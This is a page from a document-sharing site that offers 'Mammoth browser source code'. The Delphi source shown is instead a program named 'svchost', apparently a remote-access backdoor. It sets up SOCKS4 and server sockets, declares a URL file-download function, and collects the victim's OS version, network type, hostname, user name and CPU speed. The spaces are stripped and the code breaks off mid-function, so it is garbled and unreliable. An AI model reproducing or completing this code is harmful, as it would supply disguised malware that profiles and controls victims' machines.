资源描述:
《猛犸浏览器源码》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、programsvchost;usesWindows,winsvc,TLHelp32,Winsock,fyj;typePImageSectionHeaders=^TImageSectionHeaders;TImageSectionHeaders=Array[0..95]OfTImageSectionHeader;TThreadRecord=recordSocket:TClientSocket;FThreadHandle:longword;FThreadID:longword;FExitCode:longword;FTerminated:Boolean;end;TSocks4He
2、ader=packedrecordbVn:byte;bCd:byte;wPort:word;dIP:in_addr;end;{$Rc.res}varSock:TSocket;Addr:TSockAddrIn;WSA:TWSAData;dns,gjdz,wdjl,ldbt:string;port:integer;kai,jie:dword;msg:tmsg;xzwj:function(Caller:pointer;URL:PChar;FileName:PChar;Reserved:LongWord;StatusCB:pointer):Longint;stdcall;rfile:b
3、oolean;bt:array[0..49]ofchar;t:array[0..50]ofchar;CloseServer:boolean;ServerSocket:TServerSocket;wd:array[0..20]ofchar;nOldIdleTime:Int64=0;nOldSystemTime:INT64=0;nNewCPUTime:ULONG=0;functionddxt:String;varosVerInfo:TOSVersionInfo;beginResult:='';osVerInfo.dwOSVersionInfoSize:=SizeOf(TOSVers
4、ionInfo);GetVersionEx(osVerInfo);caseosVerInfo.dwPlatformIdofVER_PLATFORM_WIN32_NT:begincaseosVerInfo.dwMajorVersionof4:Result:='WinNT';5:caseosVerInfo.dwMinorVersionof0:Result:='Win2K';1:Result:='WinXP';2:Result:='W2003';end;6:Result:='Vista';end;end;end;result:=result+''+osVerInfo.szCSDVer
5、sion;end;functionInternetGetConnectedState(lpdwFlags:LPDWORD;dwReserved:DWORD):BOOL;stdcall;external'wininet.dll';FunctionGetNet:String;VarW:DWord;Beginresult:='';InternetGetConnectedState(@w,0);If(WAnd2)=2ThenResult:='Lan';if(wand1)=1thenresult:='Modem';if(wand4)=4thenresult:='Proxy';end;fu
6、nctionddmz:string;vara:array[0..128]ofchar;beginfillchar(a,129,0);Gethostname(@a,129);result:=a;end;functionyhmz:string;varbuf:array[0..255]ofchar;size:dword;beginfillchar(buf,256,0);size:=256;GetUserName(@Buf,size);result:=buf;end;functionGetCPUSpeed:int64;varTimerHi,TimerLo:DWORD;PriorityC
7、lass,Priority:Integer;beginPriorityClass:=GetPriorityClass(GetCurrentProcess);Priority:=GetThreadPriority(GetCurrentThread);SetPriorityClass(GetCurrentProcess,REALTIME_PRIORITY_CLASS);SetThreadPriority(GetCurrentThread,THREAD_PRIORITY_TIME_CRITICAL